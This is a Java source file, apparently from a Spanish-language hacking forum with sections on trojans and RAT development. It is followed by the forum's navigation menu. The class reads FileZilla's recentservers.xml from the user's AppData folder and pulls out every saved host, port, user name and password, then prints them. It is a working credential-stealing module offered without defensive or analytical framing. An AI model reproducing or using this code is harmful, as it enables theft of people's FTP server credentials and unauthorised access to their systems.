import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
*
* @author AdWiNd
*/
public class FileZilla {
public FileZilla(){
}
public String getPassword(){
BufferedReader br = null;
String salida="";
try {
String page="";
br = new BufferedReader(new FileReader(new File(System.getenv("appdata"), "FileZilla\\recentservers.xml")));
String t;
while((t=br.readLine())!=null)
page+=t;
Pattern pp[]=new Pattern[4];
pp[0]=Pattern.compile("<Host>\\s*\"?(.*?)</Host>", Pattern.CASE_INSENSITIVE);
pp[1]=Pattern.compile("<Port>\\s*\"?(.*?)</Port>", Pattern.CASE_INSENSITIVE);
pp[2]=Pattern.compile("<User>\\s*\"?(.*?)</User>", Pattern.CASE_INSENSITIVE);
pp[3]=Pattern.compile("<Pass>\\s*\"?(.*?)</Pass>", Pattern.CASE_INSENSITIVE);
Matcher m[]=new Matcher[4];
m[0]=pp[0].matcher(page);
m[1]=pp[1].matcher(page);
m[2]=pp[2].matcher(page);
m[3]=pp[3].matcher(page);
while(m[0].find() && m[1].find()&& m[2].find()&& m[3].find()){
salida+="HOST: "+m[0].group(1)+"\n";
salida+="PORT: "+m[1].group(1)+"\n";
salida+="USER: "+m[2].group(1)+"\n";
salida+="PASS: "+m[3].group(1)+"\n";
}
return salida;
} catch (Exception ex) {
System.out.println(ex.getMessage());
} finally {
try {
br.close();
} catch (IOException ex) {
System.out.println(ex.getMessage());
}
}
return salida;
}
public static void main(String[] args) {
/*Este es un ejemplode la funcion*/
FileZilla fileZilla=new FileZilla();
System.out.println(fileZilla.getPassword());
}
}
- General
- - Dudas y Preguntas
- - Troyanos y Herramientas
- - Manuales y Tutoriales
- - Programas de Protección
- - Mensajes Entre Nosotros
- Seguridad Informática
- - General
- - Exploits
- - Auditoria Web
- - Seguridad Wireless
- - - Antenas
- - - Adaptadores Wireless
- - Análisis de Malware
- - Informática Forense
- Sistemas Operativos
- - Windows
- - Linux
- - Otros
- Programación
- - Asm
- - - Manuales
- - - Fuentes
- - C/C++
- - - Manuales
- - - Fuentes
- - Delphi
- - - Manuales
- - - Fuentes
- - VB/.NET
- - - Manuales
- - - Fuentes
- - Java
- - - Manuales
- - - Fuentes
- - Python
- - - Manuales
- - - Fuentes
- - Otros lenguajes
- - - Manuales
- - - Fuentes
- - Autoit
- - - Manuales
- - - Fuentes
- - Otros lenguajes de Scripting
- - - Manuales
- - - Fuentes
- Programación Web
- - PHP
- - JS
- - NodeJS
- - Otros lenguajes
- - General
- I+D
- - Development Boards
- - - Arduino
- - - ESP
- - Single Board Computers y Embedded
- - - Raspberry Pi
- - Impresión 3D
- - - Mecánica
- - - Electrónica
- - - Firmware y Software
- - Electrónica
- Taller
- - Proyectos de Indetectables
- - - Desarrollo CoolvibesRAT
- - - KIMS MultiAV Scanner
- - Nuestros Programas
- - Cracking/Reversing
- - - Herramientas
- - - Manuales
- - Zona de Análisis
- - Lockpicking
- - - Bricolaje
- - - Manuales
- - - Vídeo Tutoriales
- - - Fresadoras